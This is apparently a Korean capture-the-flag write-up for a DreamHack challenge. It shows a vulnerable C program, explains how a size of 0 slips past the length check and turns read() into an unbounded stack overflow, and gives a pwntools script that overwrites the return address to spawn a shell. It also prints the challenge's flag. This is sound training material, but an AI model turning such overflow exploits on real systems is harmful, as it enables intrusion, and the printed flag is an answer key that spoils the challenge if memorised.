
No canary
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
사이즈에 해당하는 정수를 입력하고 그 값이 256보다 크지 않고 0보다 작지 않은지를 판단한 다음에, 사이즈만큼 입력을 받는 코드이다.
취약점
사이즈 값을 검증하는 부분에 0을 걸러내지 못한다는 취약점이 존재한다.
걸러내지 못한다면 read 함수에서 -1 만큼 읽어오게 되는데 read 함수에서 받는 세번째 인자는 unsigned 이다.
따라서 read 함수의 세번째 인자에 -1이 들어온다면 0xffffffff가 unsigned 정수로 인식되어 4,294,967,295라는 값으로 변하게된다.
결국 입력값의 크기는 거진 무제한이 되는 문제가 생긴다.
Exploit 구성

메인함수의 어셈블리어를 봐주자.

size는 ebp-0x104에, buf는 ebp-0x100에 위치한다.
canary가 없으니 그냥 SFP를 더미값으로 덮어버리고 RET을 get_shell의 주소로 덮어씌워주면 된다!!!
Offset : 0x104
from pwn import *
p = remote("host3.dreamhack.games", 15353)
e = ELF("./sint")
get_shell = e.symbols['get_shell']
payload = b'A' * 0x104
payload += p32(get_shell)
p.sendlineafter("Size: ", str(0))
p.sendlineafter("Data: ", payload)
p.interactive()

성공~~^^bb
Flag is
DH{d66e84c453b960cfe37780e8ed9d70ab}
'Pwnable' 카테고리의 다른 글
[DreamHack] validator (0) | 2023.11.28 |
---|---|
[DreamHack] cmd_center (0) | 2023.11.28 |
[문서화] DreamHack - Memory Corruption: Double Free Bug , Tcache Poisoning (0) | 2023.11.21 |
[pwnable.kr] unlink (0) | 2023.11.21 |
[Dreamhack] tcache_dup (0) | 2023.11.21 |